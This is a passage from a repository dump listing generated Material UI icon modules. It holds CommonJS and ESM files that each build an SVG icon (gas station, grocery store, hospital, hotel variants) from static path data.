    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.77 7.23.01-.01-3.72-3.72L15 4.56l2.11 2.11c-.94.36-1.61 1.26-1.61 2.33 0 1.38 1.12 2.5 2.5 2.5.36 0 .69-.08 1-.21v7.21c0 .55-.45 1-1 1s-1-.45-1-1V14c0-1.1-.9-2-2-2h-1V5c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v16h10v-7.5h1.5v5c0 1.38 1.12 2.5 2.5 2.5s2.5-1.12 2.5-2.5V9c0-.69-.28-1.32-.73-1.77M12 13.5V19H6v-7h6zm0-3.5H6V5h6zm6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'LocalGasStationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalGasStationOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.77 7.23.01-.01-3.72-3.72L15 4.56l2.11 2.11c-.94.36-1.61 1.26-1.61 2.33 0 1.38 1.12 2.5 2.5 2.5.36 0 .69-.08 1-.21v7.21c0 .55-.45 1-1 1s-1-.45-1-1V14c0-1.1-.9-2-2-2h-1V5c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v16h10v-7.5h1.5v5c0 1.38 1.12 2.5 2.5 2.5s2.5-1.12 2.5-2.5V9c0-.69-.28-1.32-.73-1.77M12 13.5V19H6v-7h6zm0-3.5H6V5h6zm6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'LocalGasStationOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalGasStationRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.77 7.23.01-.01-3.19-3.19c-.29-.29-.77-.29-1.06 0s-.29.77 0 1.06l1.58 1.58c-1.05.4-1.76 1.47-1.58 2.71.16 1.1 1.1 1.99 2.2 2.11.47.05.88-.03 1.27-.2v7.21c0 .55-.45 1-1 1s-1-.45-1-1V14c0-1.1-.9-2-2-2h-1V5c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v15c0 .55.45 1 1 1h8c.55 0 1-.45 1-1v-6.5h1.5v4.86c0 1.31.94 2.5 2.24 2.63 1.5.15 2.76-1.02 2.76-2.49V9c0-.69-.28-1.32-.73-1.77M12 10H6V6c0-.55.45-1 1-1h4c.55 0 1 .45 1 1zm6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'LocalGasStationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalGasStationRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.77 7.23.01-.01-3.19-3.19c-.29-.29-.77-.29-1.06 0s-.29.77 0 1.06l1.58 1.58c-1.05.4-1.76 1.47-1.58 2.71.16 1.1 1.1 1.99 2.2 2.11.47.05.88-.03 1.27-.2v7.21c0 .55-.45 1-1 1s-1-.45-1-1V14c0-1.1-.9-2-2-2h-1V5c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v15c0 .55.45 1 1 1h8c.55 0 1-.45 1-1v-6.5h1.5v4.86c0 1.31.94 2.5 2.24 2.63 1.5.15 2.76-1.02 2.76-2.49V9c0-.69-.28-1.32-.73-1.77M12 10H6V6c0-.55.45-1 1-1h4c.55 0 1 .45 1 1zm6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'LocalGasStationRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalGasStationSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m19.77 7.23.01-.01-3.72-3.72L15 4.56l2.11 2.11c-1.05.4-1.76 1.47-1.58 2.71.16 1.1 1.1 1.99 2.2 2.11.47.05.88-.03 1.27-.2v8.21h-2V12h-3V3H4v18h10v-7.5h1.5v7.49h5V9c0-.69-.28-1.32-.73-1.77M12 10H6V5h6zm6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'LocalGasStationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalGasStationSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m19.77 7.23.01-.01-3.72-3.72L15 4.56l2.11 2.11c-1.05.4-1.76 1.47-1.58 2.71.16 1.1 1.1 1.99 2.2 2.11.47.05.88-.03 1.27-.2v8.21h-2V12h-3V3H4v18h10v-7.5h1.5v7.49h5V9c0-.69-.28-1.32-.73-1.77M12 10H6V5h6zm6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'LocalGasStationSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalGasStationTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 19h6v-7H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3H6c-1.1 0-2 .9-2 2v16h10v-7.5h1.5v5c0 1.38 1.12 2.5 2.5 2.5s2.5-1.12 2.5-2.5V9c0-.69-.28-1.32-.73-1.77l.01-.01-3.72-3.72L15 4.56l2.11 2.11c-.94.36-1.61 1.26-1.61 2.33 0 1.38 1.12 2.5 2.5 2.5.36 0 .69-.08 1-.21v7.21c0 .55-.45 1-1 1s-1-.45-1-1V14c0-1.1-.9-2-2-2h-1V5c0-1.1-.9-2-2-2m0 10.5V19H6v-7h6zm0-3.5H6V5h6zm6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'LocalGasStationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalGasStationTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 19h6v-7H6z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3H6c-1.1 0-2 .9-2 2v16h10v-7.5h1.5v5c0 1.38 1.12 2.5 2.5 2.5s2.5-1.12 2.5-2.5V9c0-.69-.28-1.32-.73-1.77l.01-.01-3.72-3.72L15 4.56l2.11 2.11c-.94.36-1.61 1.26-1.61 2.33 0 1.38 1.12 2.5 2.5 2.5.36 0 .69-.08 1-.21v7.21c0 .55-.45 1-1 1s-1-.45-1-1V14c0-1.1-.9-2-2-2h-1V5c0-1.1-.9-2-2-2m0 10.5V19H6v-7h6zm0-3.5H6V5h6zm6 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}, \"1\")], 'LocalGasStationTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalGroceryStore.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2M1 2v2h2l3.6 7.59-1.35 2.45c-.16.28-.25.61-.25.96 0 1.1.9 2 2 2h12v-2H7.42c-.14 0-.25-.11-.25-.25l.03-.12.9-1.63h7.45c.75 0 1.41-.41 1.75-1.03l3.58-6.49c.08-.14.12-.31.12-.48 0-.55-.45-1-1-1H5.21l-.94-2zm16 16c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2\"\n}), 'LocalGroceryStore');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalGroceryStore.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2M1 2v2h2l3.6 7.59-1.35 2.45c-.16.28-.25.61-.25.96 0 1.1.9 2 2 2h12v-2H7.42c-.14 0-.25-.11-.25-.25l.03-.12.9-1.63h7.45c.75 0 1.41-.41 1.75-1.03l3.58-6.49c.08-.14.12-.31.12-.48 0-.55-.45-1-1-1H5.21l-.94-2zm16 16c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2\"\n}), 'LocalGroceryStore');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalGroceryStoreOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-1.45-5c.75 0 1.41-.41 1.75-1.03l3.58-6.49c.37-.66-.11-1.48-.87-1.48H5.21l-.94-2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7l1.1-2zM6.16 6h12.15l-2.76 5H8.53z\"\n}), 'LocalGroceryStoreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalGroceryStoreOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-1.45-5c.75 0 1.41-.41 1.75-1.03l3.58-6.49c.37-.66-.11-1.48-.87-1.48H5.21l-.94-2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7l1.1-2zM6.16 6h12.15l-2.76 5H8.53z\"\n}), 'LocalGroceryStoreOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalGroceryStoreRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2M2 4h1l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h11c.55 0 1-.45 1-1s-.45-1-1-1H7l1.1-2h7.45c.75 0 1.41-.41 1.75-1.03l3.58-6.49c.37-.66-.11-1.48-.87-1.48H5.21l-.67-1.43c-.16-.35-.52-.57-.9-.57H2c-.55 0-1 .45-1 1s.45 1 1 1m15 14c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2\"\n}), 'LocalGroceryStoreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalGroceryStoreRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2M2 4h1l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h11c.55 0 1-.45 1-1s-.45-1-1-1H7l1.1-2h7.45c.75 0 1.41-.41 1.75-1.03l3.58-6.49c.37-.66-.11-1.48-.87-1.48H5.21l-.67-1.43c-.16-.35-.52-.57-.9-.57H2c-.55 0-1 .45-1 1s.45 1 1 1m15 14c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2\"\n}), 'LocalGroceryStoreRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalGroceryStoreSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2M1 4h2l3.6 7.59L3.62 17H19v-2H7l1.1-2h8.64l4.97-9H5.21l-.94-2H1zm16 14c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2\"\n}), 'LocalGroceryStoreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalGroceryStoreSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2M1 4h2l3.6 7.59L3.62 17H19v-2H7l1.1-2h8.64l4.97-9H5.21l-.94-2H1zm16 14c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2\"\n}), 'LocalGroceryStoreSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalGroceryStoreTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8.53 11h7.02l2.76-5H6.16z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-1.45-5c.75 0 1.41-.41 1.75-1.03l3.58-6.49c.37-.66-.11-1.48-.87-1.48H5.21l-.94-2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7l1.1-2zM6.16 6h12.15l-2.76 5H8.53z\"\n}, \"1\")], 'LocalGroceryStoreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalGroceryStoreTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8.53 11h7.02l2.76-5H6.16z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 18c-1.1 0-1.99.9-1.99 2S5.9 22 7 22s2-.9 2-2-.9-2-2-2m10 0c-1.1 0-1.99.9-1.99 2s.89 2 1.99 2 2-.9 2-2-.9-2-2-2m-1.45-5c.75 0 1.41-.41 1.75-1.03l3.58-6.49c.37-.66-.11-1.48-.87-1.48H5.21l-.94-2H1v2h2l3.6 7.59-1.35 2.44C4.52 15.37 5.48 17 7 17h12v-2H7l1.1-2zM6.16 6h12.15l-2.76 5H8.53z\"\n}, \"1\")], 'LocalGroceryStoreTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalHospital.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-1.99.9-1.99 2L3 19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 11h-4v4h-4v-4H6v-4h4V6h4v4h4z\"\n}), 'LocalHospital');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalHospital.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-1.99.9-1.99 2L3 19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-1 11h-4v4h-4v-4H6v-4h4V6h4v4h4z\"\n}), 'LocalHospital');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalHospitalOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-1.99.9-1.99 2L3 19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-8.5-2h3v-3.5H17v-3h-3.5V7h-3v3.5H7v3h3.5z\"\n}), 'LocalHospitalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalHospitalOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-1.99.9-1.99 2L3 19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m0 16H5V5h14zm-8.5-2h3v-3.5H17v-3h-3.5V7h-3v3.5H7v3h3.5z\"\n}), 'LocalHospitalOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalHospitalRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M19 3H5c-1.1 0-1.99.9-1.99 2L3 19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-2 11h-3v3c0 .55-.45 1-1 1h-2c-.55 0-1-.45-1-1v-3H7c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1h3V7c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v3h3c.55 0 1 .45 1 1v2c0 .55-.45 1-1 1\"\n}), 'LocalHospitalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalHospitalRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M19 3H5c-1.1 0-1.99.9-1.99 2L3 19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2m-2 11h-3v3c0 .55-.45 1-1 1h-2c-.55 0-1-.45-1-1v-3H7c-.55 0-1-.45-1-1v-2c0-.55.45-1 1-1h3V7c0-.55.45-1 1-1h2c.55 0 1 .45 1 1v3h3c.55 0 1 .45 1 1v2c0 .55-.45 1-1 1\"\n}), 'LocalHospitalRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalHospitalSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 3H3.01L3 21h18zm-3 11h-4v4h-4v-4H6v-4h4V6h4v4h4z\"\n}), 'LocalHospitalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalHospitalSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 3H3.01L3 21h18zm-3 11h-4v4h-4v-4H6v-4h4V6h4v4h4z\"\n}), 'LocalHospitalSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalHospitalTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M5 19h14V5H5zm2-8.5h3.5V7h3v3.5H17v3h-3.5V17h-3v-3.5H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21 5c0-1.1-.9-2-2-2H5c-1.1 0-1.99.9-1.99 2L3 19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2zm-2 14H5V5h14zm-8.5-2h3v-3.5H17v-3h-3.5V7h-3v3.5H7v3h3.5z\"\n}, \"1\")], 'LocalHospitalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalHospitalTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M5 19h14V5H5zm2-8.5h3.5V7h3v3.5H17v3h-3.5V17h-3v-3.5H7z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M21 5c0-1.1-.9-2-2-2H5c-1.1 0-1.99.9-1.99 2L3 19c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2zm-2 14H5V5h14zm-8.5-2h3v-3.5H17v-3h-3.5V7h-3v3.5H7v3h3.5z\"\n}, \"1\")], 'LocalHospitalTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalHotel.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 13c1.66 0 3-1.34 3-3S8.66 7 7 7s-3 1.34-3 3 1.34 3 3 3m12-6h-8v7H3V5H1v15h2v-3h18v3h2v-9c0-2.21-1.79-4-4-4\"\n}), 'LocalHotel');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalHotel.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 13c1.66 0 3-1.34 3-3S8.66 7 7 7s-3 1.34-3 3 1.34 3 3 3m12-6h-8v7H3V5H1v15h2v-3h18v3h2v-9c0-2.21-1.79-4-4-4\"\n}), 'LocalHotel');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalHotelOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M7 14c1.66 0 3-1.34 3-3S8.66 8 7 8s-3 1.34-3 3 1.34 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m12-3h-8v8H3V5H1v15h2v-3h18v3h2v-9c0-2.21-1.79-4-4-4m2 8h-8V9h6c1.1 0 2 .9 2 2z\"\n}), 'LocalHotelOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalHotelOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M7 14c1.66 0 3-1.34 3-3S8.66 8 7 8s-3 1.34-3 3 1.34 3 3 3m0-4c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m12-3h-8v8H3V5H1v15h2v-3h18v3h2v-9c0-2.21-1.79-4-4-4m2 8h-8V9h6c1.1 0 2 .9 2 2z\"\n}), 'LocalHotelOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/LocalHotelRounded.js",
